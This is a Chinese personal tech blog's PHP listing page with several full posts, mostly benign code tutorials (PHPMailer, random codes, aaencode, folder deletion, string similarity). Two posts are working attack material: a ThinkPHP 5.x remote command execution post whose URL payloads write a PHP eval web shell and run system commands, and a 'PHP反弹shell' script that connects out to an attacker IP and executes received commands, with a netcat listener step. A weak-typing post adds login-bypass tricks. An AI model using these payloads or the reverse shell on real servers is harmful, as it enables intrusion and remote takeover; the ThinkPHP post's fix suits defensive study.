https://itho.cn/ https://itho.cn/
首页
  • 首页
  • 小工具
搜索历史 清空
写文章

登录

账号密码登录
扫码登录
扫码登录
请使用手机扫码登录
注册登录即表示同意用户协议和隐私政策
NOTES
NETWORK
Cisco Huawei H3C RouterOS OpenVPN
SYSTEM
Windows Linux macOS
DEV
Python PHP
OPS
CI/CD Nginx MySQL Redis Zabbix
SECURE
CLOUD
Docker Kubernetes VMware OpenStack
推荐 最新
PHP使用PHPMailer发送邮件实例
myluzh 2020-10-9

PHP使用PHPMailer发送邮件实例

0x01 Github项目地址:https://github.com/PHPMailer/PHPMailer/ 0x02 菜鸟教程实例: <?php use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\Exception; require './src/Exception.php'; require './src/PHPMailer.php'; require './src/SMTP.php'; $mail = new PHPMailer(true); // Passing `true` enables exceptions try { //服务器配置 $mail->CharSet ="UTF-8"; //设定邮件编码 $mail->SMTPDebug = 0; // 调试模式输出 $mail->isSMTP(); // 使用SMTP $mail->Host = 'smtp.163.com'; // SMTP服务器 $mail->SMTPAuth = true; // 允许 SMTP 认证 $mail->Username = '邮箱用户名'; // SMTP 用户名 即邮箱的用户名 $mail->Password = '密码或者授权码'; // SMTP 密码 部分邮箱是授权码(例如163邮箱) $mail->SMTPSecure = 'ssl'; // 允许 TLS 或者ssl协议 $mail->Port = 465; // 服务器端口 25 或者465 具体要看邮箱服务器支持 $mail->setFrom('xxxx@163.com', 'Mailer'); //发件人 $mail->addAddress('aaaa@126.com', 'Joe'); // 收件人 //$mail->addAddress('ellen@example.com'); // 可添加多个收件人 $mail->addReplyTo('xxxx@163.com', 'info'); //回复的时候回复给哪个邮箱 建议和发件人一致 //$mail->addCC('cc@example.com'); //抄送 //$mail->addBCC('bcc@example.com'); //密送 //发送附件 // $mail->addAttachment('../xy.zip'); // 添加附件 // $mail->addAttachment('../thumb-1.jpg', 'new.jpg'); // 发送附件并且重命名 //Content $mail->isHTML(true); // 是否以HTML文档格式发送 发送后客户端可直接显示对应HTML内容 $mail->Subject = '这里是邮件标题' . time(); $mail->Body = '<h1>这里是邮件内容</h1>' . date('Y-m-d H:i:s'); $mail->AltBody = '如果邮件客户端不支持HTML则显示此内容'; $mail->send(); echo '邮件发送成功'; } catch (Exception $e) { echo '邮件发送失败: ', $mail->ErrorInfo; } 0x03 其他 (过程中遇到的问题,以及解决方案)     1.邮箱服务器搭建后无法发送邮件 解决方案:服务器提供商封掉了25端口,部分云厂商(如:阿里云,腾讯云)默认关闭25端口,需联系厂商开通25端口后才能正常使用邮局服务。     2.自建邮局,配置完PHPMailer(端口为25)运行后报错:发信SMTP Error: Could not connect to SMTP host. 解决方案:在服务器配置中加入下面代码: $mail->SMTPOptions = array( 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false, 'allow_self_signed' => true ) );

1122 27 0
phpPHPMailer
PHP生成随机验证码
myluzh 2020-9-28

PHP生成随机验证码

function randomkeys($length) { $pattern = '1234567890ABCDEFGHIJKLOMNOPQRSTUVWXYZ'; $key = null; for($i=0;$i<$length;$i++) { $key.= $pattern[mt_rand(0,strlen($pattern)-1)]; //生成php随机数 } return $key; } $Code=randomkeys(6); //生成6位随机 echo $Code;

962 27 0
php
PHP获取图片主要部分颜色
myluzh 2020-7-13

PHP获取图片主要部分颜色

<?php /** * 获取一张图片的主要颜色 * @param string $imgUrl 图片的本地路径或者在线路径 * @param boolean $isHex 是否获取16进制的主要颜色 */ function getMainColor($imgUrl,$isHex=false) { $imageInfo = getimagesize($imgUrl); //图片类型 $imgType = strtolower(substr(image_type_to_extension($imageInfo[2]), 1)); //对应函数 $imageFun = 'imagecreatefrom' . ($imgType == 'jpg' ? 'jpeg' : $imgType); $i = $imageFun($imgUrl); //循环色值 $rColorNum=$gColorNum=$bColorNum=$total=0; for ($x=0;$x<imagesx($i);$x++) { for ($y=0;$y<imagesy($i);$y++) { $rgb = imagecolorat($i,$x,$y); //三通道 $r = ($rgb >> 16) & 0xFF; $g = ($rgb >> 8) & 0xFF; $b = $rgb & 0xFF; $rColorNum += $r; $gColorNum += $g; $bColorNum += $b; $total++; } } $rgb = array(); $r = round($rColorNum/$total); $g = round($gColorNum/$total); $b = round($bColorNum/$total); if($isHex){ return rgb2Hex($r, $g, $b); } return "rgb($r, $g, $b)"; } /** * RGB颜色转16进制颜色 * @param int|array $r * @param int $g * @param int $b */ function rgb2Hex($r, $g=-1, $b=-1) { if (is_array($r) && sizeof($r) == 3) list($r, $g, $b) = $r; $r = intval($r); $g = intval($g); $b = intval($b); $r = dechex($r<0?0:($r>255?255:$r)); $g = dechex($g<0?0:($g>255?255:$g)); $b = dechex($b<0?0:($b>255?255:$b)); $color = (strlen($r) < 2?'0':'').$r; $color .= (strlen($g) < 2?'0':'').$g; $color .= (strlen($b) < 2?'0':'').$b; return "#$color"; } echo getMainColor('https://cn.bing.com/th?id=OHR.AbuSimbelSunFest_EN-CN8625936842_1920x1080.jpg&rf=LaDigue_1920x1080.jpg&pid=hp'); //输出rgb(103, 54, 12) echo getMainColor('https://cn.bing.com/th?id=OHR.AbuSimbelSunFest_EN-CN8625936842_1920x1080.jpg&rf=LaDigue_1920x1080.jpg&pid=hp',1); //输出#67360c

357 27 0
php
PHP弱类型比较与引发漏洞的总结
myluzh 2020-6-12

PHP弱类型比较与引发漏洞的总结

0x01 ==和===的问题 ==是比较运算,它不会去检查条件式的表达式的类型。 ===是恒等,它会检查查表达式的值与类型是否相等。 NULL,0,”0”,array()使用==和false比较时,都是会返回true的,而使用===却不会。 1.比较操作     一个数字和一个字符串进行比较,PHP会把字符串转换成数字再进行比较。PHP转换的规则的是:若字符串以数字开头,则取开头数字作为转换结果,若无则输出0。例如:123abc转换后应该是123,而abc则为0,0==0这当然是成立的啦!所以,0 ==’abc’是成立的。当有一个对比参数是整数的时候,会把另外一个参数强制转换为整数。 2.Hash比较 "0e132456789"=="0e7124511451155" //true "0e123456abc"=="0e1dddada" //false "0e1abc"=="0" //true 在进行比较运算时,如果遇到了0e\d+这种字符串,就会将这种字符串解析为科学计数法。所以上面例子中2个数的值都是0因而就相等了。如果不满足0e\d+这种模式就不会相等。 3.md5比较 <?php $a = md5('240610708'); // = 0e462097431906509019562988736854 $b = md5('QNKCDZO'); // = 0e830400451993494058024219903391 var_dump($a == $b); ?> 返回结果bool(true) 240610708 和 QNKCDZO md5值类型相似,但并不相同,在“==”相等操作符的运算下,结果返回了true。这是个经典的漏洞,只需要找到md5值为0exxx(xxx全为数字,共30位),这里我提供4个都可以通过的值:240610708、QNKCDZO、aabg7XSs、aabC9RqS 扩展: 先注册密码为240610708的用户A。 然后用密码QNKCDZO尝试登录用户A。 倘若成功登录,则证明此网站采用了不完备的加密体制md5一次加密。 先注册密码为0E33455555的用户A。 然后用密码0E234230570345尝试登录用户A。 倘若成功登录,则证明此网站采用了明文进行存储密码! 0x02 转换问题 1.类型转换 string转int:intval()函数 var_dump(intval('2')) //2 var_dump(intval('3abcd')) //3 var_dump(intval('abcd')) //0 说明intval()转换的时候,会将从字符串的开始进行转换知道遇到一个非数字的字符。即使出现无法转换的字符串,intval()不会报错而是返回0。 2.十六进制转换 "0x1e240"=="123456" //true "0x1e240"==123456 //true "0x1e240"=="1e240" //false 当其中的一个字符串是0x开头的时候,ox开头表示16进制,PHP会将此字符串解析成为十进制然后再进行比较,0×1e240解析成为十进制就是123456,所以与int类型和string类型的123456比较都是相等。 这样在不让输入数字但是后面还要和一串数字比较的情况下可以使用这种方法,将后面要比较的数字转为16进制,这样就可以绕过。 0x03 数组问题 if (isset($_GET['name']) and isset($_GET['password'])) { if ($_GET['name'] == $_GET['password']) print 'Your password can not be your name.'; else if (sha1($_GET['name']) === sha1($_GET['password'])) die('Flag: '.$flag); else print 'Invalid password'; name和password的值不能相同,其次,sha1加密之后的name和password的值又必须完全相同 我们知道,在php中,$a[] = 1;代表着$a[x] = 1;所以name[] = 1和password[]= 2相比较,可以跳过第一个判断,而如果使用sha1对一个数组进行加密,返回的将是NULL,NULL===NULL,这是成立的,所以构造两个数组绕过 0x04 常见函数问题 md5() string md5 ( string $str [, bool $raw_output = false ] ) md5()中需要传入的是一个string类型的参数,当我们传递一个array时,它是不会报错的,函数无法求出array的MD5值,这样导致任意两个array的MD5值都相等,从而绕过输入数值的判断,在ctf代码审计中经常遇见。 strcmp() int strcmp ( string $str1 , string $str2 ) 进行字符串长度的比较,传入两个string的参数。如果str1小于str2,返回-1,相等返回0,否则返回1。strcmp函数比较字符串的本质是将两个变量转换为ascii,然后进行减法运算,然后根据运算结果来决定返回值。如果传入的参数为数字或数组 例1: $array=[1,2,3]; var_dump(strcmp($array,'123')); //null,在某种意义上null也就是相当于false。 例2: if (isset($_GET['password'])) { if (strcmp($_GET['password'], $flag) == 0) die('Flag: '.$flag); else print 'Invalid password'; } 此处使用strcmp()对pass和flag进行判断,如果==0,则输出flag。但是strcmp()函数只有在相等的情况下返回0。那么我们传入一个数组,它会返回NULL,而判断使用了==,而NULL==0是bool(true),这样就成功绕过。 switch() 如果switch是数字类型的case的判断时,switch会将其中的参数转换为int类型。 in_array() bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ) 如果strict参数没有提供,那么in_array就会使用松散比较来判断$needle是否在$haystack中。当strince的值为true时,in_array()会比较needls的类型和haystack中的类型是否相同。 $array=[0,1,2,'3']; var_dump(in_array('abc', $array)); //true var_dump(in_array('1bc', $array)); //true 可以看到上面的情况返回的都是true,因为’abc’会转换为0,’1bc’转换为1。 ereg() int ereg(string pattern, string string, array [regs]); 字符串对比解析,ereg函数存在NULL截断漏洞,当ereg读取字符串string时,如果遇到了%00,后面的字符串就不会被解析。 bool类型的true跟任意字符串可以弱类型相等 内容参考原文:http://zjw.dropsec.xyz/

1335 27 0
php弱类型漏洞
aaencode颜文字加密JS分析,并使用PHP进行编码解码
myluzh 2020-5-23

aaencode颜文字加密JS分析,并使用PHP进行编码解码

0x01 前言 今天在看一个网站JS代码的时候发现,JS代码为一串颜文字,而且还能被解析使用,搜索后得知为aaencode加密,此加密能把js代码转化成颜文字。 原作者的aaencode编码地址 https://utf-8.jp/public/aaencode.html 0x02编码过程 网页源码里可以查看到具体的编码过程,摘录如下。 function aaencode( text ) { var t; var b = [ "(c^_^o)", "(゚Θ゚)", "((o^_^o) - (゚Θ゚))", "(o^_^o)", "(゚ー゚)", "((゚ー゚) + (゚Θ゚))", "((o^_^o) +(o^_^o))", "((゚ー゚) + (o^_^o))", "((゚ー゚) + (゚ー゚))", "((゚ー゚) + (゚ー゚) + (゚Θ゚))", "(゚Д゚) .゚ω゚ノ", "(゚Д゚) .゚Θ゚ノ", "(゚Д゚) ['c']", "(゚Д゚) .゚ー゚ノ", "(゚Д゚) .゚Д゚ノ", "(゚Д゚) [゚Θ゚]" ]; var r = "゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); "; if( /ひだまりスケッチ×(365|356)\s*来週も見てくださいね[!!]/.test( text ) ){ r += "X=_=3; "; r += "\r\n\r\n X / _ / X < \"来週も見てくださいね!\";\r\n\r\n"; } r += "(゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);"+ "(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] "+ ",゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] "+ ",゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];"+ "(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];"+ "(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];"+ "(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + "+ "((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+"+ "((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+"+ "((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+"+ "((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];"+ "(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+"+ "((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+"+ "((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; "+ "(゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\\\'; "+ "(゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];"+ "(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];"+//TODO "(゚Д゚) [゚o゚]='\\\"';"+ "(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+"; r += "(゚Д゚)[゚o゚]+ "; for( var i = 0; i < text.length; i++ ){ n = text.charCodeAt( i ); t = "(゚Д゚)[゚ε゚]+"; if( n <= 127 ){ t += n.toString( 8 ).replace( /[0-7]/g, function(c){ return b[ c ] + "+ "; } ); }else{ var m = /[0-9a-f]{4}$/.exec( "000" + n.toString(16 ) )[0]; t += "(o゚ー゚o)+ " + m.replace( /[0-9a-f]/gi, function(c){ return b[ parseInt( c,16 ) ] + "+ "; } ); } r += t; } r += "(゚Д゚)[゚o゚]) (゚Θ゚)) ('_');"; return r; } 0x03 PHP加解密脚本 <?php //实现两个PHP没有的JS常用函数,兼容中文。 function charCodeAt($str, $index) { $char = mb_substr($str, $index, 1, 'UTF-8'); if (mb_check_encoding($char, 'UTF-8')) { $ret = mb_convert_encoding($char, 'UTF-32BE', 'UTF-8'); return hexdec(bin2hex($ret)); } else { return null; } } function uchr ($codes) { if (is_scalar($codes)) $codes= func_get_args(); $str= ''; foreach ($codes as $code){ $buf = html_entity_decode('&#'.$code.';',ENT_NOQUOTES,'UTF-8'); $buf == '&#'.$code.';' && ($buf = mb_convert_encoding('&#' . intval($code) . ';', 'UTF-8', 'HTML-ENTITIES')); $str.= $buf; } return $str; } $b = [ "(c^_^o)", "(゚Θ゚)", "((o^_^o) - (゚Θ゚))", "(o^_^o)", "(゚ー゚)", "((゚ー゚) + (゚Θ゚))", "((o^_^o) +(o^_^o))", "((゚ー゚) + (o^_^o))", "((゚ー゚) + (゚ー゚))", "((゚ー゚) + (゚ー゚) + (゚Θ゚))", "(゚Д゚) .゚ω゚ノ", "(゚Д゚) .゚Θ゚ノ", "(゚Д゚) ['c']", "(゚Д゚) .゚ー゚ノ", "(゚Д゚) .゚Д゚ノ", "(゚Д゚) [゚Θ゚]" ]; //编码的过程 function aaencode($text){ global $b; $r = "゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); "; if(preg_match('/ひだまりスケッチ×(365|356)\s*来週も見てくださいね[!!]/', $text)){ $r .= "X=_=3; "; $r .= "\r\n\r\n X / _ / X < \"来週も見てくださいね!\";\r\n\r\n"; } $r .= "(゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);". "(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ". ",゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ". ",゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];". "(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];". "(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];". "(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ". "((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+". "((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+". "((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+". "((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];". "(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+". "((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+". "((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; ". "(゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\\\'; ". "(゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];". "(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];". "(゚Д゚) [゚o゚]='\\\"';". "(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+"; $r .= "(゚Д゚)[゚o゚]+ "; for( $i = 0; $i < mb_strlen($text); $i++ ){ $n = charCodeAt($text,$i); $t = "(゚Д゚)[゚ε゚]+"; if( $n <= 127 ){ $t .= preg_replace_callback('/[0-7]/', function($c)use ($b){ return $b[$c[0]]."+ "; }, ((string)decoct($n))); }else{ if(preg_match('/[0-9a-f]{4}$/', '000'.((string)dechex($n)),$result)){ $m = $result[0]; }else{ $m = ''; } $t .= "(o゚ー゚o)+ " . preg_replace_callback('/[0-9a-f]/i',function($c)use ($b){ return $b[ hexdec($c[0]) ] . "+ "; },$m); } $r .= $t; } $r .= "(゚Д゚)[゚o゚]) (゚Θ゚)) ('_');"; return $r; } //解码的过程 function aadecode($text){ global $b; $text = strtr($text, ["(゚Д゚)[゚o゚]) (゚Θ゚)) ('_');" => '']); for($i=0;$i<count($b);$i++){ $buf = $b[$i]; if($i <=7){ //8进制逆向 $str = (($i)); $text = strtr($text, [$buf."+ "=>$str]); }else{ //16进制逆向 $text = strtr($text, [$buf."+ " => dechex($i)]); } } $text = preg_replace_callback('/\(゚Д゚\)\[゚ε゚\]\+(\d+)/', function($c){ return uchr(octdec($c[1])); }, $text); $text = preg_replace_callback('/\(゚Д゚\)\[゚ε゚\]\+\(o゚ー゚o\)\+\s+([0-9a-f]{4})/', function($c){ return uchr(hexdec($c[1])); }, $text); $pre = [ "゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); ", "X=_=3; ", "\r\n\r\n X / _ / X < \"来週も見てくださいね!\";\r\n\r\n", "(゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);", "(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ", ",゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ", ",゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];", "(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];", "(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];", "(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ", "((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+", "((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+", "((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+", "((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];", "(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+", "((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+", "((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; ", "(゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\\\'; ", "(゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];", "(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];", "(゚Д゚) [゚o゚]='\\\"';", "(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+", "(゚Д゚)[゚o゚]+ ", ]; $rA = []; foreach($pre as $val){ $rA[$val] = ''; } $text = strtr($text,$rA); return $text; } //加密 $crytext = aaencode('console.log("唐宋元明清");'); echo $crytext;//゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚)...... //解密 echo aadecode($crytext);//console.log("唐宋元明清"); 参考链接:https://my.oschina.net/u/2366984/blog/1621119

1373 27 0
phpjs加密aaencode
PHP删除文件夹以及文件夹下的所有文件
myluzh 2020-4-3

PHP删除文件夹以及文件夹下的所有文件

//删除指定文件夹以及文件夹下的所有文件 function deldir($dir) { //先删除目录下的文件: $dh=opendir($dir); while ($file=readdir($dh)) { if($file!="." && $file!="..") { $fullpath=$dir."/".$file; if(!is_dir($fullpath)) { unlink($fullpath); } else { deldir($fullpath); } } } closedir($dh); //删除当前文件夹: if(rmdir($dir)) { return true; } else { return false; } }

891 27 0
php
PHP比较两篇文章相似度的查重算法
myluzh 2020-3-30

PHP比较两篇文章相似度的查重算法

可以计算两个字符串之间最长公共子序列或者相似度,但是比较吃内存。 <?php class LCS { var $str1; var $str2; var $c = array(); /*返回串一和串二的最长公共子序列 */ function getLCS($str1, $str2, $len1 = 0, $len2 = 0) { $this->str1 = $str1; $this->str2 = $str2; if ($len1 == 0) $len1 = strlen($str1); if ($len2 == 0) $len2 = strlen($str2); $this->initC($len1, $len2); return $this->printLCS($this->c, $len1 - 1, $len2 - 1); } /*返回两个串的相似度 */ function getSimilar($str1, $str2) { $len1 = strlen($str1); $len2 = strlen($str2); $len = strlen($this->getLCS($str1, $str2, $len1, $len2)); return $len * 2 / ($len1 + $len2); } function initC($len1, $len2) { for ($i = 0; $i < $len1; $i++) $this->c[$i][0] = 0; for ($j = 0; $j < $len2; $j++) $this->c[0][$j] = 0; for ($i = 1; $i < $len1; $i++) { for ($j = 1; $j < $len2; $j++) { if ($this->str1[$i] == $this->str2[$j]) { $this->c[$i][$j] = $this->c[$i - 1][$j - 1] + 1; } else if ($this->c[$i - 1][$j] >= $this->c[$i][$j - 1]) { $this->c[$i][$j] = $this->c[$i - 1][$j]; } else { $this->c[$i][$j] = $this->c[$i][$j - 1]; } } } } function printLCS($c, $i, $j) { if ($i == 0 || $j == 0) { if ($this->str1[$i] == $this->str2[$j]) return $this->str2[$j]; else return ""; } if ($this->str1[$i] == $this->str2[$j]) { return $this->printLCS($this->c, $i - 1, $j - 1).$this->str2[$j]; } else if ($this->c[$i - 1][$j] >= $this->c[$i][$j - 1]) { return $this->printLCS($this->c, $i - 1, $j); } else { return $this->printLCS($this->c, $i, $j - 1); } } } $lcs = new LCS(); //返回最长公共子序列 //echo $lcs->getLCS("hello word","hello china"); //返回相似度 //echo $lcs->getSimilar("hello word","hello china");

992 27 0
php算法
ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用
myluzh 2020-3-25

ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用

0x01影响版本: ThinkPHP v5.0系列<5.0.23 ThinkPHP v5.1系列<5.1.31 0x02漏洞分析: 关键代码: // 获取控制器名 $controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller')); 该漏洞形成的原因是ThinkPHP在获取控制器名时未对用户提交的参数进行严格的过滤,在没有开启强制路由的情况下,攻击者可以通过输入‘\’字符的方式调用任意方法,从而实现远程代码执行。 0x03入侵利用 1. 写入 Shell http//localhost/thinkphp-5.1.29/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_REQUEST['code']);?> 2.执行phpinfo http//localhost/thinkphp-5.1.29/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();' http//localhost/thinkphp-5.1.29/public/index.php?s=/index/\think\request/cache&key=1|phpinfo 3.利用系统执行系统命令 http//localhost/thinkphp-5.1.29/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l http//localhost/thinkphp-5.1.29/public/index.php?s=/index/\think\request/cache&key=ls%20-l|system 0x04手动修复方法: 5.0版本 在think\App类的module方法的获取控制器的代码后面加上 if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); } 5.1版本 在think\route\dispatch\Url类的parseUrl方法,解析控制器后加上 if ($controller && !preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); } 参考文章: ThinkPHP5.*版本发布安全更新 ThinkPHP 5.x(v5.0.23及v5.1.31以下版本)远程命令执行突破利用(GetShell) thinkphp 5.x版本代码执行可直接提权getshell

1709 27 0
渗透php漏洞ThinkPHP远程命令执行
PHP反弹shell
myluzh 2020-3-6 OpenStack

PHP反弹shell

需要传递ip跟port两个参数,ip为攻击机的ip,port为自定义端口 <?php set_time_limit(0); $ip=$_GET['ip'] $port=$_GET['port']; if ($ip == "" and $port == "") { echo "[ip] [port] not defined"; exit(); } $fp = @fsockopen($ip, $port, $errno, $errstr); if (!$fp) { echo "connection timed out"; } else { fputs($fp, "\n++++++++++connect success++++++++\n"); while (!feof($fp)) { fputs($fp, "shell:"); //输出 $shell = fgets($fp); $message = `$shell`; fputs($fp, $message); } fclose($fp); } ?> 先在kali攻击机开启监听 nc -nlvp [端口号] 然后访问 nc.php?ip=x.x.x.x&port=x 即可,ip为攻击机ip,端口与攻击机监听端口一致

1285 27 0
php反弹shell

搜索

搜索历史 清空

热门文章

  • 1 VMware vCenter vSphere ESXi 7.0 许可证&下载链接
  • 2 DS918+,DS3617xs黑群晖洗白码
  • 3 黑群晖各版本引导下载
  • 4 Kali Liunx下msfvenom利用方法
  • 5 python base64加解密脚本(可变换码表)
  • 6 Kali Liunx字典生成工具Crunch,Cupp,Cewl
  • 7 解决VM虚拟机Kali Liunx连不上网
  • 8 JIS-CTF-VulnUpload-CTF01靶机渗透测试笔记

最新文章

  • 1 测试
  • 2 K8S 部署 Redis Exporter
  • 3 K8S 部署OpenTelemetry(用于 Kubernetes ≤ v1.22 )
  • 4 Windows Server 重置RDS宽限期
  • 5 配置RDP远程桌面连接,开启GPU加速、60FPS
  • 6 使用LLM+MCP,实现对话式运维的Demo
  • 7 K8S 部署Redis集群(ot-redis-operator方式)
  • 8 iptables 四表五链

最新评论

  • 99用户头像
    99
    5 个月前
    作者这个很有用
  • myluzh用户头像
    myluzh
    7 个月前
    @顶顶顶:https://www.ela...
  • 顶顶顶用户头像
    顶顶顶
    7 个月前
    版本对应关系去哪看呢
  • 冬天里的火用户头像
    冬天里的火
    1 年前
    可以,现在弄k8s 的越来越多了,确实都...

存档

  • 2025年7月 (3)
  • 2025年6月 (1)
  • 2025年5月 (3)
  • 2025年4月 (1)
  • 2025年3月 (6)
  • 2025年2月 (5)
  • 2025年1月 (3)
  • 2024年12月 (2)
  • 2024年11月 (8)
  • 2024年10月 (8)
  • 2024年9月 (6)
  • 2024年8月 (2)
  • 2024年7月 (7)
  • 2024年6月 (3)
  • 2024年5月 (6)
  • 2024年4月 (1)
  • 2024年3月 (3)
  • 2024年2月 (6)
  • 2024年1月 (11)
  • 2023年12月 (13)
  • 2023年11月 (15)
  • 2023年10月 (8)
  • 2023年9月 (11)
  • 2023年8月 (4)
  • 2023年7月 (18)
  • 2023年6月 (16)
  • 2023年5月 (16)
  • 2023年4月 (4)
  • 2023年3月 (7)
  • 2023年2月 (26)
  • 2023年1月 (10)
  • 2022年12月 (7)
  • 2022年11月 (2)
  • 2022年10月 (5)
  • 2022年9月 (8)
  • 2022年8月 (9)
  • 2022年7月 (4)
  • 2022年6月 (3)
  • 2022年5月 (3)
  • 2022年4月 (3)
  • 2022年3月 (7)
  • 2022年2月 (1)
  • 2022年1月 (2)
  • 2021年12月 (6)
  • 2021年11月 (3)
  • 2021年10月 (5)
  • 2021年9月 (8)
  • 2021年8月 (3)
  • 2021年7月 (3)
  • 2021年6月 (3)
  • 2021年5月 (3)
  • 2021年4月 (4)
  • 2021年3月 (3)
  • 2021年2月 (1)
  • 2021年1月 (1)
  • 2020年12月 (8)
  • 2020年11月 (6)
  • 2020年10月 (1)
  • 2020年9月 (3)
  • 2020年8月 (1)
  • 2020年7月 (5)
  • 2020年6月 (1)
  • 2020年5月 (2)
  • 2020年4月 (7)
  • 2020年3月 (20)
  • 2020年2月 (12)
  • 2020年1月 (3)
  • 2010年10月 (3)

链接

  • operatorhub.io
  • CNFF landscape
关于 友链 rss
51.LA

备案号:

204.26ms